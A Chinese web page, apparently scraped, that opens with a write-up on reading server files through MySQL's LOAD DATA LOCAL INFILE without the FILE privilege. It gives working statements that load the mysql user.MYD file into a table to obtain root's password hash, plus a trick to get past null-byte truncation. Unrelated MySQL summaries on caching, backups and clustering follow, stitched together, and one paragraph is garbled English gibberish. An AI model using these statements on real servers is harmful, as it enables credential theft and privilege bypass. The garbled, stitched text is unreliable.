众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下:
我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。
于是本地测试,注意,我当前连接的用户test是没有File权限的:
下面我们执行如下语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
然后select * from test2;
发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件
OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘/0′ 即可,这样子就把截断符号作为分隔符处理了,完整的语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';
效果:OK,完成!

存储过程是MySQL中的预编译SQL语句集合,用于提高性能和简化复杂操作。1.提高性能:首次编译后,后续调用无需重新编译。2.提高安全性:通过权限控制限制数据表访问。3.简化复杂操作:将多条SQL语句组合,简化应用层逻辑。

MySQL查询缓存的工作原理是通过存储SELECT查询的结果,当相同查询再次执行时,直接返回缓存结果。1)查询缓存提高数据库读取性能,通过哈希值查找缓存结果。2)配置简单,在MySQL配置文件中设置query_cache_type和query_cache_size。3)使用SQL_NO_CACHE关键字可以禁用特定查询的缓存。4)在高频更新环境中,查询缓存可能导致性能瓶颈,需通过监控和调整参数优化使用。

MySQL被广泛应用于各种项目中的原因包括:1.高性能与可扩展性,支持多种存储引擎;2.易于使用和维护,配置简单且工具丰富;3.丰富的生态系统,吸引大量社区和第三方工具支持;4.跨平台支持,适用于多种操作系统。

MySQL数据库升级的步骤包括:1.备份数据库,2.停止当前MySQL服务,3.安装新版本MySQL,4.启动新版本MySQL服务,5.恢复数据库。升级过程需注意兼容性问题,并可使用高级工具如PerconaToolkit进行测试和优化。

MySQL备份策略包括逻辑备份、物理备份、增量备份、基于复制的备份和云备份。1.逻辑备份使用mysqldump导出数据库结构和数据,适合小型数据库和版本迁移。2.物理备份通过复制数据文件,速度快且全面,但需数据库一致性。3.增量备份利用二进制日志记录变化,适用于大型数据库。4.基于复制的备份通过从服务器备份,减少对生产系统的影响。5.云备份如AmazonRDS提供自动化解决方案,但成本和控制需考虑。选择策略时应考虑数据库大小、停机容忍度、恢复时间和恢复点目标。

MySQLclusteringenhancesdatabaserobustnessandscalabilitybydistributingdataacrossmultiplenodes.ItusestheNDBenginefordatareplicationandfaulttolerance,ensuringhighavailability.Setupinvolvesconfiguringmanagement,data,andSQLnodes,withcarefulmonitoringandpe

在MySQL中优化数据库模式设计可通过以下步骤提升性能:1.索引优化:在常用查询列上创建索引,平衡查询和插入更新的开销。2.表结构优化:通过规范化或反规范化减少数据冗余,提高访问效率。3.数据类型选择:使用合适的数据类型,如INT替代VARCHAR,减少存储空间。4.分区和分表:对于大数据量,使用分区和分表分散数据,提升查询和维护效率。

tooptimizemysqlperformance,lofterTheSeSteps:1)inasemproperIndexingTospeedUpqueries,2)使用ExplaintplaintoAnalyzeandoptimizequeryPerformance,3)ActiveServerConfigurationStersLikeTlikeTlikeTlikeIkeLikeIkeIkeLikeIkeLikeIkeLikeIkeLikeNodb_buffer_pool_sizizeandmax_connections,4)


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